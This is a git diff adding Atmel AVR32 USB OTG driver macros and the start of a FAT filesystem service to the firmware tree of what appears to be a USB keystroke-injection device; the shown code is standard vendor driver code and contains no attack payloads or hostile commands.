_USBB_DEVICE_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_otg.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_otg.h new file mode 100755 index 0000000..3117432 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_otg.h @@ -0,0 +1,234 @@ +/** + * \file + * + * \brief USBB OTG Driver header file. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USBB_OTG_H_ +#define _USBB_OTG_H_ + +#include "compiler.h" +#include "preprocessor.h" + +//! \ingroup usb_group +//! \defgroup otg_group USB OTG Driver (OTG) +//! USBB low-level driver for OTG features +//! +//! @warning Bit-masks are used instead of bit-fields because PB registers +//! require 32-bit write accesses while AVR32-GCC 4.0.2 builds 8-bit +//! accesses even when volatile unsigned int bit-fields are specified. +//! @{ + +//! @name USBB IP properties +//! These macros give access to IP properties +//! @{ + //! Get IP name part 1 or 2 +#define otg_get_ip_name() (((uint64_t)AVR32_USBB.uname2<<32)|(uint64_t)AVR32_USBB.uname1) + //! Instruction to access at a peripheral register after interrupt clear, see AVR32002 - AVR32UC Technical reference $6.6 Memory barriers +#define otg_data_memory_barrier() (AVR32_USBB.uvers) + //! Get IP version +#define otg_get_ip_version() (Rd_bitfield(AVR32_USBB.uvers, AVR32_USBB_UVERS_VERSION_NUM_MASK)) + //! Get number of metal fixes +#define otg_get_metal_fix_nbr() (Rd_bitfield(AVR32_USBB.uvers, AVR32_USBB_UVERS_METAL_FIX_NUM_MASK)) + //! Get number of hardware-implemented DMA channels +#define otg_get_dma_channel_nbr() (Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_DMA_CHANNEL_NBR_MASK)) + //! Get DMA buffer size +#define otg_get_dma_buffer_size() (Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_DMA_BUFFER_SIZE_MASK)) + //! Get DMA FIFO depth in words +#define otg_get_dma_fifo_word_depth() (((Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_DMA_FIFO_WORD_DEPTH_MASK) - 1) & ((1 << AVR32_USBB_UFEATURES_DMA_FIFO_WORD_DEPTH_SIZE) - 1)) + 1) + //! Get DPRAM size (FIFO maximal size) in bytes +#define otg_get_dpram_size() (128 << Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_FIFO_MAX_SIZE_MASK)) + //! Test if DPRAM is natively byte write capable +#define Is_otg_dpram_byte_write_capable() (Tst_bits(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_BYTE_WRITE_DPRAM_MASK)) + //! Get size of USBB PB address space +#define otg_get_ip_paddress_size() (AVR32_USBB.uaddrsize) +//! @} + +//! @name USBB OTG ID pin management +//! These macros manage the ID pin use or not to switch between Host or Device mode +//! @{ + //! Pin and function for USB_ID according to configuration from OTG_ID +#define OTG_ID_PIN ATPASTE2(OTG_ID, _PIN) +#define OTG_ID_FUNCTION ATPASTE2(OTG_ID, _FUNCTION) + + //! Input OTG_ID from its pin +#define otg_input_id_pin() \ +{\ + (Tst_bits(OTG_ID_FUNCTION, 0x01)) ?\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0s = 1 << (OTG_ID_PIN & 0x1F)) :\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0c = 1 << (OTG_ID_PIN & 0x1F)); \ + (Tst_bits(OTG_ID_FUNCTION, 0x02)) ?\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1s = 1 << (OTG_ID_PIN & 0x1F)) :\ + (AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1c = 1 << (OTG_ID_PIN & 0x1F)); \ + AVR32_GPIO.port[OTG_ID_PIN >> 5].gperc = 1 << (OTG_ID_PIN & 0x1F);\ + AVR32_GPIO.port[OTG_ID_PIN >> 5].puers = 1 << (OTG_ID_PIN & 0x1F);\ +} + //! Test if OTG_ID is input from its pin +#define Is_otg_id_pin_input() \ + ( !Tst_bits(AVR32_GPIO.port[OTG_ID_PIN >> 5].gper, 1 << (OTG_ID_PIN & 0x1F)) &&\ + Tst_bits(AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0, 1 << (OTG_ID_PIN & 0x1F)) == Tst_bits(OTG_ID_PIN, 0x01) &&\ + Tst_bits(AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1, 1 << (OTG_ID_PIN & 0x1F)) == Tst_bits(OTG_ID_PIN, 0x02)) + + //! Enable external OTG_ID pin (listened to by USB) +#define otg_enable_id_pin() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIDE_MASK)) + //! Disable external OTG_ID pin (ignored by USB) +#define otg_disable_id_pin() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIDE_MASK)) + //! Test if external OTG_ID pin enabled (listened to by USB) +#define Is_otg_id_pin_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIDE_MASK)) + //! Disable external OTG_ID pin and force device mode +#define otg_force_device_mode() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK), otg_disable_id_pin()) + //! Test if device mode is forced +#define Is_otg_device_mode_forced() (!Is_otg_id_pin_enabled() && Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK)) + //! Disable external OTG_ID pin and force host mode +#define otg_force_host_mode() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK), otg_disable_id_pin()) + //! Test if host mode is forced +#define Is_otg_host_mode_forced() (!Is_otg_id_pin_enabled() && !Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK)) + +//! @name USBB OTG ID pin interrupt management +//! These macros manage the ID pin interrupt +//! @{ +#define otg_enable_id_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_IDTE_MASK)) +#define otg_disable_id_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_IDTE_MASK)) +#define Is_otg_id_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_IDTE_MASK)) +#define Is_otg_id_device() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_ID_MASK)) +#define otg_ack_id_transition() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_IDTIC_MASK) +#define otg_raise_id_transition() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_IDTIS_MASK) +#define Is_otg_id_transition() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_IDTI_MASK)) +//! @} + +//! @} + +//! @name USBB OTG main management +//! These macros allows to enable/disable pad and USBB hardware +//! @{ + //! Enable USB macro +#define otg_enable() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_USBE_MASK)) + //! Disable USB macro +#define otg_disable() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_USBE_MASK)) +#define Is_otg_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_USBE_MASK)) + + //! Enable OTG pad +#define otg_enable_pad() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_OTGPADE_MASK)) + //! Disable OTG pad +#define otg_disable_pad() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_OTGPADE_MASK)) +#define Is_otg_pad_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_OTGPADE_MASK)) + + //! Check Clock Usable + //! For parts with HS feature, this one corresponding at UTMI clock +#define Is_clock_usable() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_CLKUSABLE_MASK)) + + //! Stop (freeze) internal USB clock +#define otg_freeze_clock() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_FRZCLK_MASK)) +#define otg_unfreeze_clock() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_FRZCLK_MASK)) +#define Is_otg_clock_frozen() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_FRZCLK_MASK)) + + //! Configure time-out of specified OTG timer +#define otg_configure_timeout(timer, timeout) (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK),\ + Wr_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMPAGE_MASK, timer),\ + Wr_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMVALUE_MASK, timeout),\ + Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK)) + //! Get configured time-out of specified OTG timer +#define otg_get_timeout(timer) (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK),\ + Wr_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMPAGE_MASK, timer),\ + Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK),\ + Rd_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMVALUE_MASK)) + + + //! Get the dual-role device state of the internal USB finite state machine of the USBB controller +#define otg_get_fsm_drd_state() (Rd_bitfield(AVR32_USBB.usbfsm, AVR32_USBB_USBFSM_DRDSTATE_MASK)) +//! @} + +//! @name USBB OTG hardware protocol +//! These macros manages the hardware OTG protocol +//! @{ + //! initiates a Host Negociation Protocol +#define otg_device_initiate_hnp() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK)) + //! accepts a Host Negociation Protocol +#define otg_host_accept_hnp() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK)) + //! rejects a Host Negociation Protocol +#define otg_host_reject_hnp() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK)) + //! initiates a Session Request Protocol +#define otg_device_initiate_srp() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPREQ_MASK)) + //! selects VBus as SRP method +#define otg_select_vbus_srp_method() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPSEL_MASK)) +#define Is_otg_vbus_srp_method_selected() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPSEL_MASK)) + //! selects data line as SRP method +#define otg_select_data_srp_method() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPSEL_MASK)) +#define Is_otg_data_srp_method_selected() (!Is_otg_vbus_srp_method_selected()) + //! tests if a HNP occurs +#define Is_otg_hnp() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK)) + //! tests if a SRP from device occurs +#define Is_otg_device_srp() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPREQ_MASK)) + + //! enables HNP error interrupt +#define otg_enable_hnp_error_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPERRE_MASK)) + //! disables HNP error interrupt +#define otg_disable_hnp_error_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPERRE_MASK)) +#define Is_otg_hnp_error_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPERRE_MASK)) + //! acks HNP error interrupt +#define otg_ack_hnp_error_interrupt() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_HNPERRIC_MASK) + //! raises HNP error interrupt +#define otg_raise_hnp_error_interrupt() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_HNPERRIS_MASK) + //! tests if a HNP error occurs +#define Is_otg_hnp_error_interrupt() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_HNPERRI_MASK)) + + //! enables role exchange interrupt +#define otg_enable_role_exchange_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_ROLEEXE_MASK)) + //! disables role exchange interrupt +#define otg_disable_role_exchange_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_ROLEEXE_MASK)) +#define Is_otg_role_exchange_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_ROLEEXE_MASK)) + //! acks role exchange interrupt +#define otg_ack_role_exchange_interrupt() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_ROLEEXIC_MASK) + //! raises role exchange interrupt +#define otg_raise_role_exchange_interrupt() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_ROLEEXIS_MASK) + //! tests if a role exchange occurs +#define Is_otg_role_exchange_interrupt() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_ROLEEXI_MASK)) + + //! enables SRP interrupt +#define otg_enable_srp_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPE_MASK)) + //! disables SRP interrupt +#define otg_disable_srp_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPE_MASK)) +#define Is_otg_srp_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPE_MASK)) + //! acks SRP interrupt +#define otg_ack_srp_interrupt() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_SRPIC_MASK) + //! raises SRP interrupt +#define otg_raise_srp_interrupt() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_SRPIS_MASK) + //! tests if a SRP occurs +#define Is_otg_srp_interrupt() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_SRPI_MASK)) +//! @} + +//! @} + +#endif // _USBB_OTG_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.c new file mode 100755 index 0000000..765d079 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.c @@ -0,0 +1,2002 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for the FAT accesses on + * AVR32 devices. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#define _fat_c_ + +//_____ I N C L U D E S ___________________________________________________ +#include "conf_explorer.h" +#include "fs_com.h" +#include "fat.h" +#include LIB_MEM +#include LIB_CTRLACCESS + + +//_____ D E F I N I T I O N S ______________________________________________ + + +//! \name Store navigator datas no selected +//! @{ +#if (FS_NB_NAVIGATOR > 1) +_MEM_TYPE_SLOW_ Fs_management fs_g_navext[FS_NB_NAVIGATOR-1]; +_MEM_TYPE_SLOW_ Fs_management_fast fs_g_navext_fast[FS_NB_NAVIGATOR-1]; +_MEM_TYPE_SLOW_ Fs_management_entry fs_g_navext_entry[FS_NB_NAVIGATOR-1]; +#endif +//! @} + +//! \name Variables to manage cluster list caches +//! @{ +_MEM_TYPE_SLOW_ Fs_clusterlist_cache fs_g_cache_clusterlist[FS_NB_CACHE_CLUSLIST*2]; +_MEM_TYPE_SLOW_ uint8_t fs_g_u8_current_cache; +//! @} + +//_____ D E C L A R A T I O N S ____________________________________________ + + +void fat_cache_clusterlist_update_start ( Bool b_for_file ); +void fat_cache_clusterlist_update_finish ( void ); +Bool fat_cache_clusterlist_update_read ( Bool b_for_file ); +void fat_cache_clusterlist_update_select ( void ); + + + +//! This function checks device state +//! +//! @return true device ready +//! @return false otherwise +//! +//! @verbatim +//! This function updates all navigator datas when the device state change. +//! @endverbatim +//! +Bool fat_check_device( void ) +{ + uint8_t retry=0; +#if (FS_NB_NAVIGATOR > 1) + uint8_t i; +#endif + Ctrl_status status; + + // Possibility to ignore the disk check. Used to take time during multi read/write access + if( g_b_no_check_disk ) + return true; + + if( 0xFF == fs_g_nav.u8_lun ) + { + fs_g_status = FS_ERR_HW; + return false; // No device selected + } + + for( retry=0 ; retry<100 ; retry++ ) + { + // Check device + status = mem_test_unit_ready( fs_g_nav.u8_lun ); + if( CTRL_GOOD == status ) + return true; // drive ready + + //* HERE error or state change + // Clean all navigator datas which use this device + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted + Fat_file_close(); // By default the file is not open +#if (FS_NB_NAVIGATOR > 1) + for( i=0 ; i!=(FS_NB_NAVIGATOR-1) ; i++ ) + { + if( fs_g_nav.u8_lun == fs_g_navext[i].u8_lun ) + { + fs_g_navext_fast[i].u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted + fs_g_navext_entry[i].u8_open_mode = 0; // By default the file is not open + } + } +#endif + // If the internal cache corresponding at device then clean it + if( fs_g_nav.u8_lun == fs_g_sectorcache.u8_lun ) + { + fat_cache_reset(); + } + fat_cache_clusterlist_reset(); + + fs_g_status = FS_ERR_HW; // By default HW error + if( CTRL_BUSY == status ) + continue; // If device busy then retry + + if( CTRL_NO_PRESENT == status ) + fs_g_status = FS_ERR_HW_NO_PRESENT; // Update error flag + break; // FAIL or NOT PRESENT = fatal error = no retry + } + return false; +} + + +//! This function checks if the partition is mounted +//! +//! @return true partition mounted +//! @return false otherwise +//! +Bool fat_check_mount( void ) +{ + if( !fat_check_device() ) + return false; + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + { + if( !fat_mount() ) + { + fs_g_status = FS_ERR_NO_MOUNT; + return false; + } + } + return true; +} + + +//! This function checks if a file is not opened on current navigator +//! +//! @return true no file opened +//! @return false otherwise +//! +Bool fat_check_noopen( void ) +{ + if( !fat_check_device() ) + return true; + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + return true; + if( Fat_file_is_open() ) + { + fs_g_status = FS_ERR_TOO_FILE_OPEN; // The navigation have already open a file + return false; + } + return true; +} + + +//! This function checks if a file is opened on current navigator +//! +//! @return true a file is opened +//! @return false otherwise +//! +Bool fat_check_open( void ) +{ + if( Fat_file_isnot_open() ) + { + fs_g_status = FS_ERR_FILE_NO_OPEN; + return false; + } + return true; +} + + +//! This function checks if a file is selected on current navigator +//! +//! @return true a file is selected +//! @return false otherwise +//! +Bool fat_check_select( void ) +{ + if (FS_NO_SEL == fs_g_nav_fast.u16_entry_pos_sel_file) + { + fs_g_status = FS_ERR_NO_FILE_SEL; + return false; + } + return true; +} + + +//! This function checks if the partition is mounted and no file is opened +//! +//! @return true partition mounted and no file is opened +//! @return false otherwise +//! +Bool fat_check_mount_noopen( void ) +{ + if( !fat_check_mount() ) + return false; + return fat_check_noopen(); +} + + +//! This function checks if the partition is mounted and if no file is opened and a file is selected +//! +//! @return true partition mounted and no file is opened and a file is selected +//! @return false otherwise +//! +Bool fat_check_mount_select_noopen( void ) +{ + if( !fat_check_mount() ) + return false; + if( !fat_check_select() ) + return false; + return fat_check_noopen(); +} + + +//! This function checks if the partition is mounted and if a file is opened +//! +//! @return true partition mounted and a file is opened +//! @return false otherwise +//! +Bool fat_check_mount_select_open( void ) +{ + if( !fat_check_mount() ) + return false; + if( !fat_check_select() ) + return false; + return fat_check_open(); +} + + +//! This function checks if the partition is mounted and if a file is selected +//! +//! @return true partition mounted and a file is selected +//! @return false otherwise +//! +Bool fat_check_mount_select( void ) +{ + if( !fat_check_mount() ) + return false; + return fat_check_select(); +} + + +//! This function checks if the selected file entry is a file and not a directory +//! +//! @return true It is a file and not a directory +//! @return false otherwise +//! +Bool fat_check_is_file( void ) +{ + if( Fat_is_not_a_file ) + { + fs_g_status = FS_ERR_NO_FILE; // It isn't a file, it is a directory or a volume id + return false; + } + return true; +} + + +#if (FS_MULTI_PARTITION == ENABLED) +//! This function returns the number of partition on current drive +//! +//! @return u8_number number of partition +//! +uint8_t fat_get_nbpartition( void ) +{ + if( !fat_check_device() ) + return 0; + +#warning this routine contains bug, rework it + // Read the first sector of drive + fs_gu32_addrsector = 0; + if( !fat_cache_read_sector( true )) + return false; + + // Check PBR or MBR signature + if ( (fs_g_sector[510] != FS_BR_SIGNATURE_LOW ) + && (fs_g_sector[511] != FS_BR_SIGNATURE_HIGH ) ) + { + // No MBR + // The sector, is it a PBR ? + if ( (fs_g_sector[0] == 0xEB) && // PBR Byte 0 + (fs_g_sector[2] == 0x90) && // PBR Byte 2 + ((fs_g_sector[21] & 0xF0) == 0xF0) ) // PBR Byte 21 : Media byte + { + return 1; // No MBR but PBR exist then only one partition + } else { + return 0; // No MBR and no PBR then no partition found + } + } + + number_part = 0; + while( 1 ) + { + // The first sector must be a MBR, then check the partition entry in the MBR + if ( ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(number_part)+0] != FS_PARTITION_ACTIVE) && + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(number_part)+0] != 0x00)) + || (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(number_part)+4] == 0x00) ) + { + break; + } + number_part++; + } + return number_part; +} +#endif + + +//! This function gets or clears a cluster list +//! +//! @param b_for_file If true then it is a file cluster list else a directory cluster list
+//! @param opt_action Choose action on the cluster list
+//! FS_CLUST_ACT_SEG Get continue memory segment corresponding at cluster list
+//! FS_CLUST_ACT_ONE Get only one memory sector (512B) corresponding at cluster list
+//! FS_CLUST_ACT_CLR Clear the cluster list
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_seg.u32_addr The first cluster of the cluster list +//! fs_g_seg.u32_size_or_pos Start position in the cluster list (unit 512B) +//! OUT: +//! fs_g_seg.u32_addr The memory segment address corresponding at the beginning of cluster list (only for action FS_CLUST_ACT_SEG & FS_CLUST_ACT_ONE) +//! fs_g_seg.u32_size_or_pos The memory segment size corresponding at cluster list readed or cleared (unit 512B) +//! @endverbatim +//! +Bool fat_cluster_list( uint8_t opt_action, Bool b_for_file ) +{ + _MEM_TYPE_FAST_ uint32_t u32_tmp; + _MEM_TYPE_FAST_ uint8_t u8_cluster_status; + + fs_g_status = FS_ERR_FS; // By default system error + + if( Is_fat32 + && (FS_CLUST_ACT_CLR == opt_action) ) + { +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET) ) + // Clear free space information storage in FAT32 + if( !fat_write_fat32_FSInfo( 0xFFFFFFFF )) + return false; +#else + return false; +#endif + } + + if ( 0 == fs_g_seg.u32_addr ) + { + // Cluster list of root directory + if( FS_CLUST_ACT_CLR == opt_action ) + return false; // Impossible to erase ROOT DIR + + if ( Is_fat12 || Is_fat16 ) + { + // For a FAT 12 & 16, the root dir isn't a cluster list + // Check the position + if ( fs_g_seg.u32_size_or_pos < fs_g_nav.rootdir.seg.u16_size ) + { + // Compute the start address and the size + fs_g_seg.u32_addr = fs_g_nav.u32_ptr_fat + fs_g_nav.rootdir.seg.u16_pos + fs_g_seg.u32_size_or_pos; + fs_g_seg.u32_size_or_pos = fs_g_nav.rootdir.seg.u16_size - fs_g_seg.u32_size_or_pos; + return true; + } else { + fs_g_status = FS_ERR_OUT_LIST; + return false; // Position outside the root area + } + } + if ( Is_fat32 ) + { + // For FAT 32, the root is a cluster list and the first cluster is reading during the mount + fs_g_cluster.u32_pos = fs_g_nav.rootdir.u32_cluster; + } + } else { + // It is the first cluster of a cluster list + fs_g_cluster.u32_pos = fs_g_seg.u32_addr; + } + + // Management of cluster list caches + if( FS_CLUST_ACT_CLR != opt_action ) + { + if( fat_cache_clusterlist_update_read( b_for_file ) ) + return true; // Segment found in cache + // Segment not found & cache ready to update + }else{ + fat_cache_clusterlist_reset(); // It is a clear action then clear cluster list caches +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + fat_clear_info_fat_mod(); // Init cache on fat modification range +#endif // FS_LEVEL_FEATURES + } + + // Init loop with a start segment no found + MSB0( fs_g_seg.u32_addr ) = 0xFF; + + //**** Loop to read the cluster list + while ( 1 ) + { + if ( fs_g_seg.u32_size_or_pos < fs_g_nav.u8_BPB_SecPerClus ) + { + // The segment starts in this cluster + // Compute the sector address of this cluster + fs_g_seg.u32_addr = ((fs_g_cluster.u32_pos - 2) * fs_g_nav.u8_BPB_SecPerClus) + + fs_g_nav.u32_ptr_fat + fs_g_nav.u32_offset_data + fs_g_seg.u32_size_or_pos; + + if ( FS_CLUST_ACT_ONE == opt_action ) + { + // Compute the maximum size + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus-fs_g_seg.u32_size_or_pos; + fat_cache_clusterlist_update_finish(); + // Send a size of one sector + fs_g_seg.u32_size_or_pos = 1; + return true; + } + // Update the segment size + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus - LSB0( fs_g_seg.u32_size_or_pos ); + + // Take time, during read cluster list on FAT 16 & 32 + if( (FS_CLUST_ACT_SEG == opt_action) + && (!Is_fat12) ) + { + // Init loop with the current cluster + u32_tmp = fs_g_cluster.u32_pos; + if( !fat_cluster_val( FS_CLUST_VAL_READ )) + return false; + // Read cluster list, while this one is continue + while(1) + { + if ( (++fs_g_cluster.u32_pos) != fs_g_cluster.u32_val ) + { + fs_g_cluster.u32_pos--; // Recompute previous value + u32_tmp = fs_g_cluster.u32_pos - u32_tmp; // Compute the size of cluster list + fs_g_seg.u32_size_or_pos += u32_tmp * fs_g_nav.u8_BPB_SecPerClus; + break; + } + if( !fat_cluster_readnext() ) + return false; + } + } + } + // Get the cluster value + if( !fat_cluster_val( FS_CLUST_VAL_READ )) + return false; + + // Read and check the status of the new cluster + u8_cluster_status = fat_checkcluster(); + if (FS_CLUS_BAD == u8_cluster_status) + return false; // error, end of cluster list + + if (0xFF == MSB0(fs_g_seg.u32_addr)) + { + // The beginning of the segment isn't found + if (FS_CLUS_END == u8_cluster_status) + { + u32_tmp = fs_g_seg.u32_size_or_pos; // Save number of sector remaining + + // Compute the sector address of this last cluster to take time during a futur request with the same cluster list + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start -= fs_g_seg.u32_size_or_pos; + fs_g_seg.u32_addr = ((fs_g_cluster.u32_pos - 2) * fs_g_nav.u8_BPB_SecPerClus) + + fs_g_nav.u32_ptr_fat + fs_g_nav.u32_offset_data; + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus; + if (FS_CLUST_ACT_CLR != opt_action) + fat_cache_clusterlist_update_finish(); + + // The position is outside the cluster list + fs_g_seg.u32_addr = fs_g_cluster.u32_pos; // Send the last cluster value + 